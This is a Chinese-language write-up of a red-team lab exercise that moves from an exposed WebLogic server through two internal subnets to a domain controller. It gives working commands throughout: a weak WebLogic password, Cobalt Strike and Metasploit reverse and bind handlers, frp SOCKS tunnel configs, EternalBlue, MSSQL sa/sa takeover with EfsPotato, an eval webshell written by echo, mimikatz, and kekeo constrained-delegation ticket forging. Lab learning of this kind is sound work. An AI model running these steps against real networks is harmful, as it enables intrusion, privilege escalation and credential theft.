-
外网 weblogic 服务器
不知道为什么 ping 不通,直接访问 7001,上一波 weblogic 扫描器直接拿下
除此之外还可以试试 weblogic 的常用弱口令(github),这里有 weblogic/weblogic123可以直接进后台,可利用的漏洞点就不限于前台的反序列化 rce 了。
传个🐎上去,用冰蝎链接做后续攻击。但这里遇到的一个问题就是🐎的路径选择
写入console images目录物理路径:C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp 访问路径: /console/framework/skins/wlsconsole/images/shell.jsp 能传上但访问404
写入uddiexplorer目录中
物理路径: C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp 访问路径: /uddiexplorer/shell.jsp (发现没这个目录)
写入应用安装目录
物理路径:C:\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp 访问路径: /项目名/shell.jsp (也没路径)
传马失败,等解决了再回来补,这里直接用 CS 生成 powershell 上线了。
-
域内个人PC
做一波信息收集,首先可以确认是没有域,只有两个网段,需要做横向。
mimikatz 抓一下密码,win 2012 抓不到明文,能不能通过其他方式拿暂且放一下,继续做横向,用 portscan 扫一下子网,发现 10.10.20.7 主机,传个代理继续打。
不知道为什么 ew 用不了,所以改用 frp
攻击机:[common] bind_addr =0.0.0.0 bind_port = 7000
跳板机:
[common] server_addr = 192.168.0.128 server_port = 7000 [plugin_socks] type = tcp remote_port = 7777 plugin = socks5
用 CS 派生一个监听道到 msf,用 msf 继续打横向:
use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.0.128 set lport 20001 连上之后迁移进程 run post/windows/manage/migrate
msf 挂上代理打永恒之蓝:
set Proxies socks5:192.168.0.128:7777 set ReverseAllowProxy true
永恒之蓝的 shell 不稳定,容易打蓝屏,派生到 CS 上继续攻击,但这里有个重要的问题:win7包括域内主机都不出网,通常的手段是用 msf 正向(防火墙限制)或用 CS 中转。
比较无法理解的是不知道为什么生成 powershell command 不能选择 CS 中继 Listener,但生成 exe 就可以,第二个坑待会补,用 msf 传 exe 弹到 CS 中继上。
在打的时候一直反弹不回来,后来想了想才发现 weblogic 主机没关防火墙,ping 都 ping 不通。。。
最后弹回来了,永恒之蓝打的,还是个 system 权限,可以开始打域控了。
注意这里不要直接用 ms17_010_eternalblue 打,很容易打蓝屏,用 ms17_010_comman 弹命令开远程桌面打。(但这里会有各种奇奇怪怪的bug,算第三个坑)
最后还是用 ms17_010_eternalblue 打的。。。。。。
-
域渗透
先做本机信息收集,win7系统,另一张网卡 10.10.10.0/24,存在域 redteam.red,没什么补丁,探测一下域环境。然而现在是 system 权限不在域中,考虑用 msf 的 steal_token 实现降权,重新反弹一个 shell 到 CS 中。
继续利用 CS 进行域信息收集,域控 10.10.10.8,域管理员 administrator,还有一台 sqlserver 机器。
考虑打域控的几种思路:- 抓密码或 dump 密码,但运行 mimikatz 只能看到 saul 的密码,利用价值不大。
- 尝试令牌窃取,但 ps 中没有域控进程,遂放弃
- 已有漏洞,如 zerologon 的重置密码等
- 委派,先打其他主机
- 待补充,但可参考 https://github.com/infosecn1nja/AD-Attack-Defense
这里尝试通过委派打其他主机,其他方式见坑4。
传一个 Adfind 上去,查找一下配置了委派的用户查询配置了非约束委派的主机: AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName 查询配置了非约束委派的用户: AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName 查询配置了约束委派的主机: AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto 查询配置了约束委派的用户: AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
非约束主机:sqlserver 和 域控
非约束用户:saulgoodman
约束委派用户:sqlserver
考虑到非约束委派在实战中需要被域管访问,比较鸡肋(不鸡肋的打法见坑5)
这里用约束委派攻击,但首先要拿下 sqlserver 这台机器,传个 fscan 做一下端口扫描。shell fscan64.exe -np -h 10.10.10.0/24
80没东西,爆破一下1443 的 sa 用户,密码 sa,传个工具进行连接,这里选用的是 SqlKnife
shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --xpcmd -c whoami
但只是个数据库权限,要想办法提权,但现在这个 shell 很难用,记起来还有个 web 服务,考虑在 web 服务器目录下写shell,但权限太小遂放弃。
最后用 EfsPotato 提权成功shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --dbup2 --3 --fix shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --dbup2 -c whoami
这就是拿到一个 system 权限了。
但很鸡肋执行起来有各种问题,在这里卡了好久也没有合适的攻击方法,最终还是又用了 frp 搭了一层代理,让最外层的 kali 能直接访问 10.10.10.0/24。
frpc.ini[common] server_addr = 10.10.20.12 server_port = 9000 [plugin_socks] type = tcp remote_port = 9999 plugin = socks5
frps.ini
[common] bind_addr =0.0.0.0 bind_port = 9000
然后在 kali 的 proxychains4的 配置文件如下:
直接挂代理起 msf,用 exploit/windows/mssql/mssql_clr_payload 模块之间打(注意设用户密码)
用拿下的 win7 做中继,用 CS 生成马,通过 meterpreter 传上去,要注意这里存在权限问题,所以选了这个可读可写可执行的目录。
也可以直接用 https://github.com/RowTeam/SharpSQLTools/ 带GUI界面执行文件。
但不知道为什么一直没办法反弹到 cs 上,(或许不能弹中继的中继?)
最后还是用 msf 生成正向 shell 的马传到 sqlserver 上,再用 再用 EfsPotato 提权后去执行,得到一个 system 权限的 meterpreter。(其实这里用 CS 的 beacon_tcp 也可以实现正向连接)
msf监听:handler -p windows/x64/meterpreter/bind_tcp -H 10.10.10.18 -P 30003
cs 跳板机正向连接
connect 10.10.10.18 30004
或者先在用 msf 写一个 bat,再用 EfsPotato 提权后去执行(这个 system 不能写只能执行),向 80 端口中写一个 webshell 连接上
shell.bat:echo ^<%%^@Page Language^=^"Jscript^"%%^>^<%%eval^(Request^.Item^[^"saul^"^]^,^"unsafe^"^)^;%%^> > c:\inetpub\wwwroot\1.aspx
连上 webshell 之后就要想办法提权了
查询当前系统缺失的常见可用于提权的补丁:systeminfo > micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
(坑。。。。。。具体试了几个都有各种限制)
总而言之拿到了一个 msf 的 system 的shell,可以继续约束委派攻击了。
先抓一波密码:
这里的 sqlserver 是配置了约束委派的用户,降权到 sqlserver,传一个 kekeo 继续攻击
请求用户的 TGTkekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" > 1.txt
用生成的 TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi 获取域机器的 ST:
kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" > 2.txt
最后用 mimikatz 将 ST2 导入当前会话
mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi
此时已经和域控建立了 ipc 会话,可以直接远程查看
拿到 flag。 -
没解决的问题:
- 一路的坑,之后慢慢填
- CS 和 MSF 操作上有很多的问题
- 多层内网的反弹 shell(后来一直都是正向链接,有防火墙的话就很难受)
- 没过杀软,大问题
- 流量不够隐蔽,没有很好的利用各种隧道隐藏技术
-
参考文献
- https://chaserw.github.io/2021/11/05/%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%9B%B2%E6%8A%98%E7%9A%84weblogic%E4%B8%8A%E4%BC%A0webshell/
- https://www.sqlsec.com/2018/03/smb.html
- http://deepmountains.cn/2021/03/08/2.%20Cobalt%20Strike%E4%B9%8Bbeacon%E7%9B%91%E5%90%AC%E5%99%A8/
- https://www.freebuf.com/vuls/304576.html
- https://0range-x.github.io/2022/01/26/Domain-penetration_one-stop/
- https://www.anquanke.com/post/id/250346